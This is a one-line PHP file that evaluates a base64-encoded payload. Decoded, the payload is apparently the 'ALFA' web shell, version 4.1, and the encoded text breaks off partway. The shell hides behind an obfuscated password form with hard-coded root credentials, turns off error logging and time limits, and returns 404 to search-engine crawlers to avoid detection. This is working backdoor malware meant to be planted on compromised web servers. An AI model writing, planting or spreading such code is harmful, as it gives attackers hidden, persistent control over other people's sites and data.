eval(''.base64_decode('PD9waHAgJEtLaz0ibCI7JGtLID0iPCI7JEtra2trSz0iSCI7JEtLay49ImciOyRLa2tra0suPSJUIjskS2tra2tLLj0iVCI7JEtLay49Il8iOyRLS2suPSJtIjskS2tra2tLLj0iUCI7JGtLLj0iZiI7JEtLay49ImkiOyRLa2tra0suPSJfIjskS0trLj0ibSI7JGtLLj0ibyI7JEtra2trSy49IkgiOyRLa2tra0suPSJPIjskS2tra2tLLj0iUyI7JGtLLj0iciI7JGtLLj0ibSI7JEtra2trSy49IlQiOyRrSy49IiAiOyRLS2suPSJhIjska0suPSJuIjska0suPSJhIjska0suPSJtIjska0suPSJlIjska0suPSI9Ijska0suPSInIjska0suPSJmIjska0suPSJvIjska0suPSJyIjska0suPSJtIjska0suPSIxIjska0suPSInIjska0suPSIgIjska0suPSJhIjska0suPSJjIjska0suPSJ0Ijska0suPSJpIjska0suPSJvIjska0suPSJuIjska0suPSI9Ijska0suPSInIjska0suPSInIjska0suPSIgIjska0suPSJtIjska0suPSJlIjska0suPSJ0Ijska0suPSJoIjska0suPSJvIjska0suPSJkIjska0suPSI9Ijska0suPSInIjska0suPSJwIjska0suPSJvIjska0suPSJzIjska0suPSJ0Ijska0suPSInIjska0suPSI+Ijska0suPSI8Ijska0suPSJpIjska0suPSJuIjska0suPSJwIjska0suPSJ1Ijska0suPSJ0Ijska0suPSIgIjska0suPSJuIjska0suPSJhIjska0suPSJtIjska0suPSJlIjska0suPSI9Ijska0suPSInIjska0suPSJsIjska0suPSJnIjska0suPSJfIjska0suPSJtIjska0suPSJpIjska0suPSJtIjska0suPSJhIjska0suPSInIjska0suPSIgIjska0suPSJ0Ijska0suPSJ5Ijska0suPSJwIjska0suPSJlIjska0suPSI9Ijska0suPSInIjska0suPSJ0Ijska0suPSJlIjska0suPSJ4Ijska0suPSJ0Ijska0suPSInIjska0suPSI+Ijska0suPSI8Ijska0suPSJpIjska0suPSJuIjska0suPSJwIjska0suPSJ1IjtzZXNzaW9uX3N0YXJ0KCk7JGtLLj0idCI7JGtLLj0iICI7JGtLLj0ibiI7JGtLLj0iYSI7JGtLLj0ibSI7JGtLLj0iZSI7JGtLLj0iPSI7JGtLLj0iJyI7JGtLLj0icyI7JGtLLj0idSI7JGtLLj0iYiI7JGtLLj0ibSI7JGtLLj0iaSI7JGtLLj0idCI7JGtLLj0iJyI7JGtLLj0iICI7JGtLLj0idCI7JGtLLj0ieSI7JGtLLj0icCI7JGtLLj0iZSI7JGtLLj0iPSI7JGtLLj0iJyI7JGtLLj0icyI7JGtLLj0idSI7JGtLLj0iYiI7JGtLLj0ibSI7JGtLLj0iaSI7JGtLLj0idCI7JGtLLj0iJyI7JGtLLj0iICI7JGtLLj0idiI7JGtLLj0iYSI7JGtLLj0ibCI7JGtLLj0idSI7JGtLLj0iZSI7JGtLLj0iPSI7JGtLLj0iJyI7JGtLLj0icyI7JGtLLj0idSI7JGtLLj0iYiI7JGtLLj0ibSI7JGtLLj0iaSI7JGtLLj0idCI7JGtLLj0iJyI7JGtLLj0iPiI7JGtLLj0iPCI7JGtLLj0iLyI7JGtLLj0iZiI7JGtLLj0ibyI7JGtLLj0iciI7JGtLLj0ibSI7JGtLLj0iPiI7JGtLS0tLS0tLPSRfU0VSVkVSWyRLa2tra0tdOyRrS0tLS0tLSy49JEtLazska0tLS0tLS0s9bWQ1KCRrS0tLS0tLSyk7JGtLS0tLS0tLPXN1YnN0cigka0tLS0tLS0ssMCw2KTtpZihpc3NldCgkX1BPU1RbJEtLa10pKXskX1NFU1NJT05bJEtLa109dHJpbSgkX1BPU1RbJEtLa10pO31pZihlbXB0eSgkX1NFU1NJT05bJEtLa10pfHwkX1NFU1NJT05bJEtLa10hPSRrS0tLS0tLSyl7ZWNobyAka0s7IGV4aXQ7fT8+PD9waHAKQGVycm9yX3JlcG9ydGluZyhFX0FMTCBeIEVfTk9USUNFKTsKQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBpbmlfc2V0KCdtYWdpY19xdW90ZXNfcnVudGltZScsIDApOwpAc2V0X3RpbWVfbGltaXQoMCk7CmlmKGZ1bmN0aW9uX2V4aXN0cygnc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lJykpewpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOwp9CiRHTE9CQUxTWydheUFIR1NzaFhuJ10gPSBhcnJheSgKJ3VzZXJuYW1lJyA9PiAncm9vdCcsCidwYXNzd29yZCcgPT4gJ2E2ZjQ1MmVjMzI5M2Q3ZmI3MmM1YjY3NzI1N2IyMGVjJywvL21kNShlaHNhbikKJ3NhZmVfbW9kZScgPT4gJzEnLAonbG9naW5fcGFnZScgPT4gJzQwNCcsCidzaG93X2ljb25zJyA9PiAnJywKJ3Bvc3RfZW5jcnlwdGlvbicgPT4gZmFsc2UsCidjZ2lfYXBpJyA9PiB0cnVlLAopOwokQ1dwcFVESnh1ZiA9ICdmdScgLiAnbicgLiAnY3QnIC4gJ2lvbl8nIC4gJ2UnIC4gJ3hpc3QnIC4gJ3MnOwokYXp0SnRhZlVYbSA9ICdjaGEnIC4gJ3InIC4gJ0MnIC4gJ28nIC4gJ2QnIC4gJ2UnIC4gJ0EnIC4gJ3QnIC4gJyc7CiRPVnBHTnFxRlpzID0gJ2UnIC4gJ3YnIC4gJ2FsJzsKJHBzREV3R2hzeGcgPSAnZ3onIC4gJ2luZicgLiAnbGF0ZSc7CgppZiAoISRDV3BwVURKeHVmKCdiJyAuICdhJyAuICdzZTY0JyAuICdfZW4nIC4gJ2MnIC4gJ29kZScgLiAnJykpewpmdW5jdGlvbiB2Y252U0NaZ0J6KCRkYXRhKQp7CmlmIChlbXB0eSgkZGF0YSkpIHJldHVybjsKJGI2NCA9ICdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvPSc7CiRvMSA9ICRvMiA9ICRvMyA9ICRoMSA9ICRoMiA9ICRoMyA9ICRoNCA9ICRiaXRzID0gJGkgPSAwOwokYWMgPSAwOwokZW5jID0gJyc7CiR0bXBfYXJyID0gYXJyYXkoKTsKaWYgKCEkZGF0YSl7CnJldHVybiAkZGF0YTsKfWRvewokbzEgPSAkYXp0SnRhZlVYbSgkZGF0YSwgJGkrKyk7CiRvMiA9ICRhenRKdGFmVVhtKCRkYXRhLCAkaSsrKTsKJG8zID0gJGF6dEp0YWZVWG0oJGRhdGEsICRpKyspOwokYml0cyA9ICRvMSA8PCAxNiB8ICRvMiA8PCA4IHwgJG8zOwokaDEgPSAkYml0cyA+PiAxOCAmIDB4M2Y7CiRoMiA9ICRiaXRzID4+IDEyICYgMHgzZjsKJGgzID0gJGJpdHMgPj4gNiAmIDB4M2Y7CiRoNCA9ICRiaXRzICYgMHgzZjsKJHRtcF9hcnJbJGFjKytdID0gY2hhckF0KCRiNjQsICRoMSkgLiBjaGFyQXQoJGI2NCwgJGgyKSAuIGNoYXJBdCgkYjY0LCAkaDMpIC4gY2hhckF0KCRiNjQsICRoNCk7Cn0Kd2hpbGUgKCRpIDwgc3RybGVuKCRkYXRhKSk7CiRlbmMgPSBpbXBsb2RlKCR0bXBfYXJyLCAnJyk7CiRyID0gKHN0cmxlbigkZGF0YSkgJSAzKTsKcmV0dXJuICgkciA/IHN1YnN0cigkZW5jLCAwLCAoJHIgLSAzKSkgOiAkZW5jKSAuIHN1YnN0cignPT09JywgKCRyIHx8IDMpKTsKfQpmdW5jdGlvbiBjaGFyQ29kZUF0KCRkYXRhLCAkY2hhcil7CnJldHVybiBvcmQoc3Vic3RyKCRkYXRhLCAkY2hhciwgMSkpOwp9CmZ1bmN0aW9uIGNoYXJBdCgkZGF0YSwgJGNoYXIpewpyZXR1cm4gc3Vic3RyKCRkYXRhLCAkY2hhciwgMSk7Cn0KfWVsc2V7CmZ1bmN0aW9uIHZjbnZTQ1pnQnooJHMpewokYiA9ICdiJyAuICdhJyAuICdzZTY0JyAuICdfZW4nIC4gJ2MnIC4gJ29kZScgLiAnJzsKcmV0dXJuICRiKCRzKTsKfQp9CmlmICghJENXcHBVREp4dWYoJ2InIC4gJ2EnIC4gJ3NlJyAuICc2JyAuICc0JyAuICdfZCcgLiAnZWNvZCcgLiAnZScgLiAnJykpewpmdW5jdGlvbiB6UnRTSHNiVHpWKCRpbnB1dCl7CmlmIChlbXB0eSgkaW5wdXQpKSByZXR1cm47CiRrZXlTdHIgPSAiQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLz0iOwokY2hyMSA9ICRjaHIyID0gJGNocjMgPSAiIjsKJGVuYzEgPSAkZW5jMiA9ICRlbmMzID0gJGVuYzQgPSAiIjsKJGkgPSAwOwokb3V0cHV0ID0gIiI7CiRpbnB1dCA9IHByZWdfcmVwbGFjZSgiW15BLVphLXowLTlcK1wvXD1dIiwgIiIsICRpbnB1dCk7CmRvewokZW5jMSA9IHN0cnBvcygka2V5U3RyLCBzdWJzdHIoJGlucHV0LCAkaSsrLCAxKSk7CiRlbmMyID0gc3RycG9zKCRrZXlTdHIsIHN1YnN0cigkaW5wdXQsICRpKyssIDEpKTsKJGVuYzMgPSBzdHJwb3MoJGtleVN0ciwgc3Vic3RyKCRpbnB1dCwgJGkrKywgMSkpOwokZW5jNCA9IHN0cnBvcygka2V5U3RyLCBzdWJzdHIoJGlucHV0LCAkaSsrLCAxKSk7CiRjaHIxID0gKCRlbmMxIDw8IDIpIHwgKCRlbmMyID4+IDQpOwokY2hyMiA9ICgoJGVuYzIgJiAxNSkgPDwgNCkgfCAoJGVuYzMgPj4gMik7CiRjaHIzID0gKCgkZW5jMyAmIDMpIDw8IDYpIHwgJGVuYzQ7CiRvdXRwdXQgPSAkb3V0cHV0IC4gY2hyKChpbnQpJGNocjEpOwppZiAoJGVuYzMgIT0gNjQpewokb3V0cHV0ID0gJG91dHB1dCAuIGNocigoaW50KSRjaHIyKTsKfQppZiAoJGVuYzQgIT0gNjQpewokb3V0cHV0ID0gJG91dHB1dCAuIGNocigoaW50KSRjaHIzKTsKfQokY2hyMSA9ICRjaHIyID0gJGNocjMgPSAiIjsKJGVuYzEgPSAkZW5jMiA9ICRlbmMzID0gJGVuYzQgPSAiIjsKfQp3aGlsZSAoJGkgPCBzdHJsZW4oJGlucHV0KSk7CnJldHVybiAkb3V0cHV0Owp9Cn1lbHNlewpmdW5jdGlvbiB6UnRTSHNiVHpWKCRzKXsKJGIgPSAnYicgLiAnYScgLiAnc2UnIC4gJzYnIC4gJzQnIC4gJ19kJyAuICdlY29kJyAuICdlJyAuICcnOwpyZXR1cm4gJGIoJHMpOwp9Cn0KCmZ1bmN0aW9uIF9fWlc1amIyUmxjZygkcykKewpyZXR1cm4gdmNudlNDWmdCeigkcyk7Cn0KZnVuY3Rpb24gX19aR1ZqYjJSbGNnKCRzKQp7CnJldHVybiB6UnRTSHNiVHpWKCRzKTsKfQoKJEdMT0JBTFNbJ0RCX05BTUUnXSA9ICRHTE9CQUxTWydheUFIR1NzaFhuJ107Cgpmb3JlYWNoICgkR0xPQkFMU1snREJfTkFNRSddIGFzICRrZXkgPT4gJHZhbHVlKXsKJHByZWZpeCA9IHN1YnN0cigka2V5LCAwLCAyKTsKaWYgKCRwcmVmaXggPT0gInVzIikKewokR0xPQkFMU1snREJfTkFNRSddWyJ1c2VyIl0gPSAkdmFsdWU7CiRHTE9CQUxTWydEQl9OQU1FJ11bInVzZXJfcmFuZCJdID0gJGtleTsKfQplbHNlaWYgKCRwcmVmaXggPT0gInBhIikKewokR0xPQkFMU1snREJfTkFNRSddWyJwYXNzIl0gPSAkdmFsdWU7CiRHTE9CQUxTWydEQl9OQU1FJ11bInBhc3NfcmFuZCJdID0gJGtleTsKfQplbHNlaWYgKCRwcmVmaXggPT0gInNhIikKewokR0xPQkFMU1snREJfTkFNRSddWyJzYWZlbW9kZSJdID0gJHZhbHVlOwokR0xPQkFMU1snREJfTkFNRSddWyJzYWZlbW9kZV9yYW5kIl0gPSAka2V5Owp9CmVsc2VpZiAoJHByZWZpeCA9PSAibG8iKQp7CiRHTE9CQUxTWydEQl9OQU1FJ11bImxvZ2luX3BhZ2UiXSA9ICR2YWx1ZTsKJEdMT0JBTFNbJ0RCX05BTUUnXVsibG9naW5fcGFnZV9yYW5kIl0gPSAka2V5Owp9CmVsc2VpZiAoJHByZWZpeCA9PSAic2giKQp7CiRHTE9CQUxTWydEQl9OQU1FJ11bInNob3dfaWNvbnMiXSA9ICR2YWx1ZTsKJEdMT0JBTFNbJ0RCX05BTUUnXVsic2hvd19pY29uc19yYW5kIl0gPSAka2V5Owp9CmVsc2VpZiAoJHByZWZpeCA9PSAicG8iKQp7CiRHTE9CQUxTWydEQl9OQU1FJ11bInBvc3RfZW5jcnlwdGlvbiJdID0gJHZhbHVlOwokR0xPQkFMU1snREJfTkFNRSddWyJwb3N0X2VuY3J5cHRpb25fcmFuZCJdID0gJGtleTsKfQplbHNlaWYgKCRwcmVmaXggPT0gImNnIikKewokR0xPQkFMU1snREJfTkFNRSddWyJjZ2lfYXBpIl0gPSAkdmFsdWU7CiRHTE9CQUxTWydEQl9OQU1FJ11bImNnaV9hcGlfcmFuZCJdID0gJGtleTsKfQp9Cgp1bnNldCgkR0xPQkFMU1snYXlBSEdTc2hYbiddKTsKCmlmICghaXNzZXQoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKSkgZXhpdCgpOwoKaWYoIWVtcHR5KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpeyR1c2VyQWdlbnRzID0gYXJyYXkoIkdvb2dsZSIsIlNsdXJwIiwiTVNOQm90IiwiaWFfYXJjaGl2ZXIiLCJZYW5kZXgiLCJSYW1ibGVyIiwiYm90Iiwic3BpZGVyIik7aWYocHJlZ19tYXRjaCgnLycuaW1wbG9kZSgnfCcsJHVzZXJBZ2VudHMpLicvaScsJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSl7aGVhZGVyKCdIVFRQLzEuMCA0MDQgTm90IEZvdW5kJyk7ZXhpdDt9fQppZighaXNzZXQoJEdMT0JBTFNbJ0RCX05BTUUnXVsndXNlciddKSlleGl0KCckR0xPQkFMU1tcJ0RCX05BTUVcJ11bXCd1c2VyXCddJyk7CmlmKCFpc3NldCgkR0xPQkFMU1snREJfTkFNRSddWydwYXNzJ10pKWV4aXQoJyRHTE9CQUxTW1wnREJfTkFNRVwnXVtcJ3Bhc3NcJ10nKTsKaWYoIWlzc2V0KCRHTE9CQUxTWydEQl9OQU1FJ11bJ3NhZmVtb2RlJ10pKWV4aXQoJyRHTE9CQUxTW1wnREJfTkFNRVwnXVtcJ3NhZmVtb2RlXCddJyk7CmlmKCFpc3NldCgkR0xPQkFMU1snREJfTkFNRSddWydsb2dpbl9wYWdlJ10pKWV4aXQoJyRHTE9CQUxTW1wnREJfTkFNRVwnXVtcJ2xvZ2luX3BhZ2VcJ10nKTsKaWYoIWlzc2V0KCRHTE9CQUxTWydEQl9OQU1FJ11bJ3Nob3dfaWNvbnMnXSkpZXhpdCgnJEdMT0JBTFNbXCdEQl9OQU1FXCddW1wnc2hvd19pY29uc1wnXScpOwppZighaXNzZXQoJEdMT0JBTFNbJ0RCX05BTUUnXVsncG9zdF9lbmNyeXB0aW9uJ10pKWV4aXQoJyRHTE9CQUxTW1wnREJfTkFNRVwnXVtcJ3Bvc3RfZW5jcnlwdGlvblwnXScpOwpkZWZpbmUoIl9fQUxGQV9WRVJTSU9OX18iLCAiNC4xIik7CmRlZmluZSgiX19BTEZBX1VQREFURV9fIiwgIjIiKTsKZGVmaW5lKCJfX0FMRkFfQ09ERV9OQU1FX18iLCAiWFhWSSIpOwpkZWZpbmUoIl9fQUxGQV9EQVRBX0ZPTERFUl9fIiwgImphbmNveCIpOwpkZWZpbmUoIl9fQUxGQV9QT1NUX0VOQ1JZUFRJT05fXyIsIChpc3NldCgkR0xPQkFMU1siREJfTkFNRSJdWyJwb3N0X2VuY3J5cHRpb24iXSkmJiRHTE9CQUxTWyJEQl9OQU1FIl1bInBvc3RfZW5jcnlwdGlvbiJdPT10cnVlP3RydWU6ZmFsc2UpKTsKZGVmaW5lKCJfX0FMRkFfU0VDUkVUX0tFWV9fIiwgX19BTEZBX1BPU1RfRU5DUllQVElPTl9fP19BbGZhU2VjcmV0S2V5KCk6JycpOwokR0xPQkFMU1snX19BTEZBX0NPTE9SX18nXSA9IGFycmF5KAoic2hlbGxfYm9yZGVyIiA9PiBhcnJheSgKImtleV9jb2xvciIgPT4gIiMwRTMwNEEiLAoibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoiLmhlYWRlciIgPT4gImJvcmRlcjogN3B4IHNvbGlkIHtjb2xvcn0iLAoiI21ldW5saXN0IiA9PiAiYm9yZGVyLWNvbG9yOiB7Y29sb3J9IiwKIiNoaWRkZW5fc2giID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9IiwKIi5hamF4YXJlYSIgPT4gImJvcmRlcjogMXB4IHNvbGlkIHtjb2xvcn0iLAoiLmZvb3QiID0+ICJib3JkZXItY29sb3I6IHtjb2xvcn0iLAopCiksCiJoZWFkZXJfdmFycyIgPT4gIiMyNzk3OUIiLAoiaGVhZGVyX3ZhbHVlcyIgPT4gIiM2N0FCREYiLAoiaGVhZGVyX29uIiA9PiAiIzAwRkYwMCIsCiJoZWFkZXJfb2ZmIiA9PiAiI2ZmMDAwMCIsCiJoZWFkZXJfbm9uZSIgPT4gIiMwMEZGMDAiLAoiaG9tZV9zaGVsbCIgPT4gIiNmZjAwMDAiLAoiaG9tZV9zaGVsbDpob3ZlciIgPT4gYXJyYXkoCiJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwKIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKIi5ob21lX3NoZWxsOmhvdmVyIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKKQopLAoiYmFja19zaGVsbCIgPT4gIiNlZmJlNzMiLAoiYmFja19zaGVsbDpob3ZlciIgPT4gYXJyYXkoCiJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwKIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKIi5iYWNrX3NoZWxsOmhvdmVyIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKKQopLAoiaGVhZGVyX3B3ZCIgPT4gIiMwMEZGMDAiLAoiaGVhZGVyX3B3ZDpob3ZlciIgPT4gYXJyYXkoCiJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwKIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKIi5oZWFkZXJfcHdkOmhvdmVyIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKKQopLAoiaGVhZGVyX2RyaXZlIiA9PiAiIzAwRkYwMCIsCiJoZWFkZXJfZHJpdmU6aG92ZXIiID0+IGFycmF5KAoia2V5X2NvbG9yIiA9PiAiI0ZGRkZGRiIsCiJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCiIuaGVhZGVyX2RyaXZlOmhvdmVyIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKKQopLAoiaGVhZGVyX3Nob3dfYWxsIiA9PiAiIzAwRkYwMCIsCiJkaXNhYmxlX2Z1bmN0aW9ucyIgPT4gIiNmZjAwMDAiLAoiZm9vdGVyX3RleHQiID0+ICIjMjc5NzlCIiwKIm1lbnVfb3B0aW9ucyIgPT4gIiMyNzk3OUIiLAoibWVudV9vcHRpb25zOmhvdmVyIiA9PiBhcnJheSgKImtleV9jb2xvciIgPT4gIiM2NDY0NjQiLAoibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoiLm1lbnVfb3B0aW9uczpob3ZlciIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07Zm9udC13ZWlnaHQ6IHVuc2V0OyIsCikKKSwKIm9wdGlvbnNfbGlzdCIgPT4gYXJyYXkoCiJrZXlfY29sb3IiID0+ICIjMDBGRjAwIiwKIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKIi5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5oZWFkZXIgY2VudGVyIGEiID0+ICJjb2xvcjoge2NvbG9yfTsiLAopCiksCiJvcHRpb25zX2xpc3Q6aG92ZXIiID0+IGFycmF5KAoia2V5X2NvbG9yIiA9PiAiI0ZGRkZGRiIsCiJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCiIuY29udGVudF9vcHRpb25zX2hvbGRlciAuaGVhZGVyIGNlbnRlciBhOmhvdmVyIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKKQopLAoib3B0aW9uc19saXN0X2hlYWRlciIgPT4gYXJyYXkoCiJrZXlfY29sb3IiID0+ICIjNTljYzMzIiwKIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKIi50eHRmb250X2hlYWRlciIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCikKKSwKIm9wdGlvbnNfbGlzdF90ZXh0IiA9PiBhcnJheSgKImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoiLnR4dGZvbnQsLnRibHR4dCIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCikKKSwKIkFsZmErIiA9PiBhcnJheSgKImtleV9jb2xvciIgPT4gIiMwNmZmMGYiLAoibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoiLmFsZmFfcGx1cyIgPT4gImNvbG9yOiB7Y29sb3J9O2ZvbnQtd2VpZ2h0OiB1bnNldDsiLAopCiksCiJoaWRkZW5fc2hlbGxfdGV4dCIgPT4gYXJyYXkoCiJrZXlfY29sb3IiID0+ICIjMDBGRjAwIiwKIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKIiNoaWRkZW5fc2ggYSIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCikKKSwKImhpZGRlbl9zaGVsbF92ZXJzaW9uIiA9PiAiI2ZmMDAwMCIsCiJzaGVsbF9uYW1lIiA9PiAiI0ZGMDAwMCIsCiJtYWluX3Jvdzpob3ZlciIgPT4gYXJyYXkoCiJrZXlfY29sb3IiID0+ICIjNjQ2NDY0IiwKIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKIi5tYWluIHRyOmhvdmVyIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTsiLAopCiksCiJtYWluX2hlYWRlciIgPT4gYXJyYXkoCiJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwKIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKIi5tYWluIHRoIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKKQopLAoibWFpbl9uYW1lIiA9PiBhcnJheSgKImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoiLm1haW4gLm1haW5fbmFtZSIgPT4gImNvbG9yOiB7Y29sb3J9O2ZvbnQtd2VpZ2h0OiB1bnNldDsiLAopCiksCiJtYWluX3NpemUiID0+ICIjNjdBQkRGIiwKIm1haW5fbW9kaWZ5IiA9PiAiIzY3QUJERiIsCiJtYWluX293bmVyX2dyb3VwIiA9PiAiIzY3QUJERiIsCiJtYWluX2dyZWVuX3Blcm0iID0+ICIjMjVmZjAwIiwKIm1haW5fcmVkX3Blcm0iID0+ICIjRkYwMDAwIiwKIm1haW5fd2hpdGVfcGVybSI9PiAiI0ZGRkZGRiIsCiJiZWV0d2Vlbl9wZXJtcyIgPT4gIiNGRkZGRkYiLAoibWFpbl9hY3Rpb25zIiA9PiBhcnJheSgKImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoiLm1haW4gLmFjdGlvbnMiID0+ICJjb2xvcjoge2NvbG9yfTsiLAopCiksCiJtZW51X29wdGlvbnM6aG92ZXIiID0+IGFycmF5KAoia2V5X2NvbG9yIiA9PiAiIzY0NjQ2NCIsCiJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCiIubWVudV9vcHRpb25zOmhvdmVyIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTtmb250LXdlaWdodDogdW5zZXQ7IiwKKQopLAoibWluaW1pemVfZWRpdG9yX2JhY2tncm91bmQiID0+IGFycmF5KAoia2V5X2NvbG9yIiA9PiAiIzBlMzA0YSIsCiJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCiIubWluaW1pemVkLXdyYXBwZXIiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCikKKSwKIm1pbmltaXplX2VkaXRvcl90ZXh0IiA9PiBhcnJheSgKImtleV9jb2xvciIgPT4gIiNmNWRlYjMiLAoibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoiLm1pbmltaXplZC10ZXh0IiA9PiAiY29sb3I6IHtjb2xvcn07IiwKKQopLAoiZWRpdG9yX2JvcmRlciIgPT4gYXJyYXkoCiJrZXlfY29sb3IiID0+ICIjMGUzMDRhIiwKIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKIi5lZGl0b3ItZXhwbG9yZXIsLmVkaXRvci1tb2RhbCIgPT4gImJvcmRlcjogMnB4IHNvbGlkIHtjb2xvcn07IiwKKQopLAoiZWRpdG9yX2JhY2tncm91bmQiID0+IGFycmF5KAoia2V5X2NvbG9yIiA9PiAicmdiYSgwLCAxLCAyMywgMC45NCkiLAoibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoiLmVkaXRvci1leHBsb3JlciwuZWRpdG9yLW1vZGFsIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTsiLAopCiksCiJlZGl0b3JfaGVhZGVyX2JhY2tncm91bmQiID0+IGFycmF5KAoia2V5X2NvbG9yIiA9PiAicmdiYSgyMSwgNjYsIDg4LCAwLjkzKSIsCiJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCiIuZWRpdG9yLWhlYWRlciIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IiwKKQopLAoiZWRpdG9yX2hlYWRlcl90ZXh0IiA9PiBhcnJheSgKImtleV9jb2xvciIgPT4gIiMwMGZmN2YiLAoibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoiLmVkaXRvci1wYXRoIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKKQopLAoiZWRpdG9yX2hlYWRlcl9idXR0b24iID0+IGFycmF5KAoia2V5X2NvbG9yIiA9PiAiIzFkNTY3MyIsCiJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCiIuY2xvc2UtYnV0dG9uLCAuZWRpdG9yLW1pbmltaXplIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTsiLAopCiksCiJlZGl0b3JfYWN0aW9ucyIgPT4gYXJyYXkoCiJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwKIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKIi5lZGl0b3JfYWN0aW9ucyIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCikKKSwKImVkaXRvcl9maWxlX2luZm9fdmFycyIgPT4gYXJyYXkoCiJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwKIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKIi5lZGl0b3JfZmlsZV9pbmZvX3ZhcnMiID0+ICJjb2xvcjoge2NvbG9yfTsiLAopCiksCiJlZGl0b3JfZmlsZV9pbmZvX3ZhbHVlcyIgPT4gYXJyYXkoCiJrZXlfY29sb3IiID0+ICIjNjdBQkRGIiwKIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKIi5maWxlc3Rvb2xzIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKKQopLAoiZWRpdG9yX2hpc3RvcnlfaGVhZGVyIiA9PiBhcnJheSgKImtleV9jb2xvciIgPT4gIiMxNGZmMDciLAoibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoiLmhoZWFkZXItdGV4dCwuaGlzdG9yeS1jbGVhciIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCikKKSwKImVkaXRvcl9oaXN0b3J5X2xpc3QiID0+IGFycmF5KAoia2V5X2NvbG9yIiA9PiAiIzAzYjNhMyIsCiJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCiIuZWRpdG9yLWZpbGUtbmFtZSIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCikKKSwKImVkaXRvcl9oaXN0b3J5X3NlbGVjdGVkX2ZpbGUiID0+IGFycmF5KAoia2V5X2NvbG9yIiA9PiAicmdiYSg0OSwgNTUsIDkzLCAwLjc3KSIsCiJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCiIuaXNfYWN0aXZlIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTsiLAopCiksCiJlZGl0b3JfaGlzdG9yeV9maWxlOmhvdmVyIiA9PiBhcnJheSgKImtleV9jb2xvciIgPT4gIiM2NDY0NjQiLAoibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoiLmZpbGUtaG9sZGVyID4gLmhpc3Rvcnk6aG92ZXIiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCikKKSwKImlucHV0X2JveF9ib3JkZXIiID0+IGFycmF5KAoia2V5X2NvbG9yI